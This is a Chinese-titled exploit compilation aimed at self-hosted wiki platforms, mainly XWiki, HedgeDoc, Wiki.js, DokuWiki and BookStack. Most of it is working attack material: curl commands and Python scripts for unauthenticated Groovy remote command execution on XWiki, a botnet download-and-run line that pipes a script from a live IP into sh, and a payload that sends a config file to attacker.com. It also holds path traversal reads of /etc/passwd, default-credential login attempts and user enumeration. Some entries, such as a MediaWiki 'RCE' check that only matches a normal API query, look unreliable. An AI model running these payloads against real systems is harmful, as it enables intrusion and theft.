自托管知识管理与文档协作平台高危攻击链专题：XWiki / MediaWiki / HedgeDoc / Wiki.js / DokuWiki / BookStack 漏洞全解析

# 检测漏洞是否存在（无害探测）
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println('XWiki_Vuln_Check_24893'){{/groovy}}{{/async}}"

# 执行系统命令
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}def%20sout%3Dnew%20StringBuilder()%2Cserr%3Dnew%20StringBuilder()%3Bdef%20p%3Dnew%20ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString()){{/groovy}}{{/async}}"

# 下载并执行恶意脚本（RondoDox 僵尸网络真实利用）
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%5B%27sh%27%2C%20%27-c%27%2C%20%27wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.sdu.sh%7Csh%27%5D.execute%28%29.text%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import re
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD_DETECT = "}}}{{async async=false}}{{groovy}}println('CVE-2025-24893-TEST'){{/groovy}}{{/async}}"
VULN_MARKER = "CVE-2025-24893-TEST"
ENDPOINT = "/xwiki/bin/get/Main/SolrSearch"

def check_vulnerability(target, timeout=10):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    params = {
        "media": "rss",
        "text": PAYLOAD_DETECT
    }
    try:
        resp = requests.get(url, params=params, verify=False, timeout=timeout)
        if resp.status_code == 200 and VULN_MARKER in resp.text:
            return True, resp.text
        return False, resp.status_code
    except requests.exceptions.RequestException as e:
        return False, str(e)

def execute_command(target, cmd, timeout=15):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    groovy_code = (
        f"def sout=new StringBuilder(),serr=new StringBuilder();"
        f"def p=new ProcessBuilder['bash','-c','{cmd}']"
        f".redirectErrorStream(true).start();"
        f"p.getInputStream().eachLine{{sout.append(it)}};"
        f"p.waitFor();println(sout.toString())"
    )
    payload = f"}}}} {{{{async async=false}}}} {{{{groovy}}}} {groovy_code} {{{{/groovy}}}} {{{{/async}}}}"
    params = {
        "media": "rss",
        "text": payload
    }
    try:
        resp = requests.get(url, params=params, verify=False, timeout=timeout)
        return resp.status_code, resp.text
    except requests.exceptions.RequestException as e:
        return 0, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-24893 XWiki SolrSearch RCE Detector")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://192.168.1.100:8080)")
    parser.add_argument("-c", "--cmd", default=None, help="Command to execute (e.g. 'id')")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2025-24893...")
    vuln, detail = check_vulnerability(args.target, args.timeout)
    if vuln:
        print(f"[+] VULNERABLE! Got response: {detail.strip()}")
        if args.cmd:
            print(f"[*] Executing command: {args.cmd}")
            code, output = execute_command(args.target, args.cmd, args.timeout)
            print(f"[*] HTTP {code}")
            print(f"[+] Output:\n{output}")
    else:
        print(f"[-] Not vulnerable or unreachable. Status/detail: {detail}")

if __name__ == "__main__":
    main()

id: CVE-2025-24893
info:
  name: XWiki SolrSearch Groovy RCE
  author: security-researcher
  severity: critical
  description: XWiki SolrSearch macro allows unauthenticated Groovy code injection via the text parameter
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-95
  tags: cve,xwiki,rce,groovy

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}} {{{{async async=false}}}} {{{{groovy}}}}println('CVE-2025-24893-NUCLEI-TEST'){{{{/groovy}}}} {{{{/async}}}}"

    matchers:
      - type: word
        words:
          - "CVE-2025-24893-NUCLEI-TEST"
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "CVE-2025-24893-NUCLEI-TEST"

# 检测漏洞
curl "http://<target>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}%20%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dprintln('CVE-2024-31982-TEST')%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

# 执行 id 命令
curl "http://<target>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}%20%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Ddef%20sout%3Dnew%20StringBuilder()%2Cserr%3Dnew%20StringBuilder()%3Bdef%20p%3Dnew%20ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString())%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

#!/usr/bin/env python3
import requests
import argparse
import urllib3
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DETECT_MARKER = "CVE-2024-31982-TEST"
ENDPOINT = "/xwiki/bin/get/Main/DatabaseSearch"

def check(target, timeout=10):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    params = {"outputSyntax": "plain", "space": ""}
    groovy_payload = f"}}}} {{{{async}}}} {{{{groovy}}}}println('{DETECT_MARKER}'){{{{/groovy}}}} {{{{/async}}}}"
    params["text"] = groovy_payload
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        if r.status_code == 200 and DETECT_MARKER in r.text:
            return True
    except Exception:
        pass
    return False

def exploit(target, cmd, timeout=15):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    groovy_cmd = (
        f"def sout=new StringBuilder(),serr=new StringBuilder();"
        f"def p=new ProcessBuilder['bash','-c','{cmd}']"
        f".redirectErrorStream(true).start();"
        f"p.getInputStream().eachLine{{sout.append(it)}};"
        f"p.waitFor();println(sout.toString())"
    )
    payload = f"}}}} {{{{async}}}} {{{{groovy}}}} {groovy_cmd} {{{{/groovy}}}} {{{{/async}}}}"
    params = {"outputSyntax": "plain", "space": "", "text": payload}
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        return r.status_code, r.text
    except Exception as e:
        return 0, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-31982 XWiki DatabaseSearch RCE")
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-c", "--cmd", default=None)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2024-31982...")
    if check(args.target):
        print("[+] VULNERABLE!")
        if args.cmd:
            code, out = exploit(args.target, args.cmd)
            print(f"[+] HTTP {code}\n{out}")
    else:
        print("[-] Not vulnerable or unreachable.")

if __name__ == "__main__":
    main()

id: CVE-2024-31982
info:
  name: XWiki DatabaseSearch SSTI RCE
  author: security-researcher
  severity: critical
  description: XWiki DatabaseSearch allows unauthenticated RCE through template injection
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31982
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-1336
  tags: cve,xwiki,rce,ssti

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}} {{{{async}}}} {{{{groovy}}}}println('CVE-2024-31982-TEST'){{{{/groovy}}}} {{{{/async}}}}"
    matchers:
      - type: word
        words:
          - "CVE-2024-31982-TEST"
        part: body

# 此漏洞需要在实时编辑会话中利用，无法通过简单 HTTP 请求复现
# 攻击流程：
# 1. 低权限用户创建/编辑页面并启用实时编辑
# 2. 诱骗高权限用户加入编辑会话
# 3. 在编辑器中插入 {{velocity}}I can run scripts{{/velocity}}
# 4. 高权限用户的浏览器渲染并执行该脚本

curl "http://<target>/xwiki/bin/view/FlamingoThemesCode/WebHome?sheet=FlamingoThemesCode.WebHome&document=%24doc.documentReference%2B%22%3B+def+sout%3Dnew+StringBuilder()%2Cserr%3Dnew+StringBuilder()%3Bdef+p%3Dnew+ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString())+%2B+%22"

# 在笔记内容中嵌入以下 Markdown 代码，然后触发 PDF 导出
# 攻击载荷（嵌入笔记中）：
curl -X POST "http://<target>/new" -d "content=<script>fetch('file:///app/config.json').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil',{method:'POST',body:d}))</script>" -H "Content-Type: application/x-www-form-urlencoded"

#!/usr/bin/env python3
import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_pdf_export(target, timeout=10):
    url = f"{target.rstrip('/')}/new"
    payload = {
        "content": "[test](file:///etc/passwd)",
        "description": "CVE-2021-29475 test"
    }
    try:
        s = requests.Session()
        s.verify = False
        r = s.post(url, data=payload, timeout=timeout, allow_redirects=True)
        if r.status_code in [200, 302]:
            note_id = r.url.split("/")[-1] if "/" in r.url else ""
            if note_id:
                pdf_url = f"{target.rstrip('/')}/pdf/{note_id}"
                pdf_r = s.get(pdf_url, timeout=timeout * 3)
                if pdf_r.status_code == 200 and b"root:" in pdf_r.content:
                    return True, "File content leaked in PDF"
                return True, "PDF export accessible (check manually)"
    except Exception as e:
        return False, str(e)
    return False, "Could not reach target"

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-29475 HedgeDoc File Read via PDF")
    parser.add_argument("-t", "--target", required=True, help="HedgeDoc instance URL")
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2021-29475...")
    vuln, detail = check_pdf_export(args.target)
    if vuln:
        print(f"[+] POTENTIALLY VULNERABLE: {detail}")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

id: CVE-2021-29475
info:
  name: HedgeDoc PDF Export File Read
  author: security-researcher
  severity: critical
  description: HedgeDoc PDF export allows reading arbitrary files via file:// protocol
  reference:
    - https://github.com/hedgedoc/hedgedoc/security/advisories/GHSA-8q34-235c-7g4q
  classification:
    cvss-score: 10.0
    cwe-id: CWE-22
  tags: cve,hedgedoc,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2FREADME#"
    matchers:
      - type: word
        words:
          - "HedgeDoc"
          - "README"
        condition: or
        part: body
    matchers-condition: and

curl "http://<target>/..%2F..%2FREADME#"

<img src="http://<target>/wiki/Special:ChangeRating?page=Main_Page&rating=5" />

curl "http://<target>/w/api.php?action=query&prop=revisions&rvprop=content&titles=Main_Page&rvslots=main&format=json" \
  -H "User-Agent: Mozilla/5.0"

id: CVE-2025-67480
info:
  name: MediaWiki ApiQueryRevisionsBase RCE
  author: security-researcher
  severity: high
  description: Input validation flaw in MediaWiki API could lead to RCE
  reference:
    - https://www.mediawiki.org/wiki/Release_notes/1.45.1
  tags: cve,mediawiki,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/w/api.php?action=query&prop=revisions&rvprop=content&titles=Main_Page&rvslots=main&format=json"
    matchers:
      - type: word
        words:
          - "query"
          - "revisions"
        condition: and
        part: body

curl -X POST "http://<target>/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"}'

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_auth_bypass(target, timeout=10):
    url = f"{target.rstrip('/')}/graphql"
    query = {
        "query": "mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"
    }
    try:
        r = requests.post(url, json=query, verify=False, timeout=timeout,
                          headers={"Content-Type": "application/json"})
        if r.status_code == 200:
            data = r.json()
            if "data" in data and data["data"].get("authentication"):
                return True, data["data"]["authentication"]["jwt"]["token"]
            if "errors" in data:
                return False, data["errors"][0].get("message", "")
    except Exception as e:
        return False, str(e)
    return False, "No valid response"

def main():
    parser = argparse.ArgumentParser(description="CVE-2022-1681 Wiki.js Auth Bypass")
    parser.add_argument("-t", "--target", required=True)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2022-1681...")
    vuln, detail = check_auth_bypass(args.target)
    if vuln:
        print(f"[+] VULNERABLE! Got JWT token: {detail[:50]}...")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

id: CVE-2022-1681
info:
  name: Wiki.js Authentication Bypass
  author: security-researcher
  severity: critical
  description: Wiki.js allows authentication bypass via alternate path
  reference:
    - https://github.com/Requarks/wiki/security/advisories/GHSA-r628-mhmh-qvmh
  classification:
    cvss-score: 9.8
    cwe-id: CWE-287
  tags: cve,wikisjs,auth-bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
    headers:
      Content-Type: "application/json"
    body: '{"query":"mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"}'
    matchers:
      - type: word
        words:
          - "token"
        part: body
    matchers-condition: and

curl "http://<target>/../../etc/passwd"
curl "http://<target>/..%2F..%2F..%2Fetc%2Fpasswd"

# 检测漏洞
curl "http://<target>/lib/exe/ajax.php?call=||echo+CVE-2017-18123-TEST||"

# 构造可下载的恶意文件（Windows RFD 攻击）
curl -o installer.bat "http://<target>/lib/exe/ajax.php?call=||calc||"

#!/usr/bin/env python3
import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_rfd(target, timeout=10):
    url = f"{target.rstrip('/')}/lib/exe/ajax.php"
    marker = "CVE-2017-18123-TEST"
    params = {"call": f"||{marker}||"}
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        if r.status_code == 200 and marker in r.text:
            content_type = r.headers.get("Content-Type", "")
            has_controls = "||" in r.text
            return True, f"Content-Type: {content_type}, Controls reflected: {has_controls}"
        return False, f"Status: {r.status_code}"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2017-18123 DokuWiki RFD")
    parser.add_argument("-t", "--target", required=True)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2017-18123...")
    vuln, detail = check_rfd(args.target)
    if vuln:
        print(f"[+] VULNERABLE: {detail}")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

id: CVE-2017-18123
info:
  name: DokuWiki Reflected File Download
  author: security-researcher
  severity: high
  description: DokuWiki ajax.php call parameter leads to RFD
  reference:
    - https://github.com/dokuwiki/dokuwiki/issues/2029
  classification:
    cvss-score: 8.6
    cwe-id: CWE-116
  tags: cve,dokuwiki,rfd

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib/exe/ajax.php?call=||echo+CVE-2017-18123-TEST||"
    matchers:
      - type: word
        words:
          - "CVE-2017-18123-TEST"
        part: body

# 上传包含 JavaScript 的 SVG 文件
curl -X POST "http://<target>/lib/exe/media.php" \
  -F "call=mediaupload" \
  -F "file=@malicious.svg;type=image/svg+xml" \
  -F "ns=" \
  -H "Cookie: <session_cookie>"

# 用户枚举测试
curl -X POST "http://<target>/password_reset" \
  -d "email=known_user@company.com" \
  -w "\n%{http_code}"

# 对比不存在的用户
curl -X POST "http://<target>/password_reset" \
  -d "email=nonexistent_user_12345@company.com" \
  -w "\n%{http_code}"

id: CVE-2024-36676
info:
  name: BookStack Access Control User Enumeration
  author: security-researcher
  severity: high
  description: BookStack allows user enumeration via public forms
  reference:
    - https://github.com/BookStackApp/BookStack/issues/4993
  classification:
    cvss-score: 8.8
    cwe-id: CWE-284
  tags: cve,bookstack,idor

http:
  - method: POST
    path:
      - "{{BaseURL}}/password_reset"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "email=test_nonexistent_user_xyz@invalid.test"
    matchers:
      - type: word
        words:
          - "password"
          - "reset"
        condition: or
        part: body

curl "http://<target>/api/images?filter[folder]=/etc/passwd"